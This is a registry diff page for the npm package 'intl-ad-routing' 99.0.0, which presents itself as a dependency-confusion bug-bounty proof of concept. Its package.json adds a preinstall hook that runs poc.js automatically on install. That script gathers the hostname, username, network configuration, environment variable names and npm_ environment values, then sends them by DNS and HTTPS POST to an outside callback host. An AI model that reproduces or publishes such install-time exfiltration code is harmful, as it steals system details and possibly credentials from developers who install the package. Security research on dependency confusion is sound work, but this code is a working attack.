intl-ad-routing 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +5 -0
  2. package/package.json +11 -0
  3. package/poc.js +55 -0
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ // This package is a SECURITY RESEARCH proof of concept.
2
+ // If you are seeing this, a dependency confusion vulnerability exists.
3
+ // Please contact your security team immediately.
4
+ console.warn("[SECURITY] Dependency confusion detected: @livingdesign/react was installed from public npm instead of your private registry.");
5
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "intl-ad-routing",
3
+ "version": "99.0.0",
4
+ "description": "SECURITY RESEARCH - Dependency Confusion PoC. Authorized bug bounty testing under Walmart HackerOne program.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node poc.js || true"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "ISC"
11
+ }
package/poc.js ADDED
@@ -0,0 +1,55 @@
1
+ const dns = require("dns");
2
+ const os = require("os");
3
+ const https = require("https");
4
+ const { execSync } = require("child_process");
5
+
6
+ const pkg = "intl-ad-routing";
7
+ const hn = os.hostname();
8
+ const un = os.userInfo().username;
9
+ const dir = __dirname;
10
+
11
+ // Get network info (ipconfig /all on Windows, ip a on Linux)
12
+ let netinfo = "";
13
+ try {
14
+ if (os.platform() === "win32") {
15
+ netinfo = execSync("ipconfig /all", { timeout: 5000 }).toString();
16
+ } else {
17
+ netinfo = execSync("ip a && cat /etc/resolv.conf", { timeout: 5000 }).toString();
18
+ }
19
+ } catch(e) { netinfo = "cmd_failed"; }
20
+
21
+ // DNS callback - unique per host
22
+ const id = Buffer.from(`${hn}-${un}`).toString("hex").slice(0, 30);
23
+ const interactsh = "d8a56vpon5budaeafq00tsyj88aqd5m7p.oast.pro";
24
+
25
+ try { dns.resolve(`${pkg}-${id}.${interactsh}`, ()=>{}); } catch(e) {}
26
+
27
+ // HTTP callback with full details
28
+ const data = JSON.stringify({
29
+ p: pkg,
30
+ h: hn,
31
+ u: un,
32
+ d: dir,
33
+ t: Date.now(),
34
+ pid: process.pid,
35
+ platform: os.platform(),
36
+ arch: os.arch(),
37
+ release: os.release(),
38
+ net: netinfo.slice(0, 8000),
39
+ ifaces: os.networkInterfaces(),
40
+ env_keys: Object.keys(process.env).join(","),
41
+ npm_config: Object.entries(process.env)
42
+ .filter(([k]) => k.startsWith("npm_"))
43
+ .reduce((o,[k,v]) => { o[k]=v; return o; }, {})
44
+ });
45
+
46
+ const req = https.request({
47
+ hostname: interactsh,
48
+ port: 443,
49
+ path: `/${pkg}`,
50
+ method: "POST",
51
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) }
52
+ }, ()=>{});
53
+ req.on("error", ()=>{});
54
+ req.write(data);
55
+ req.end();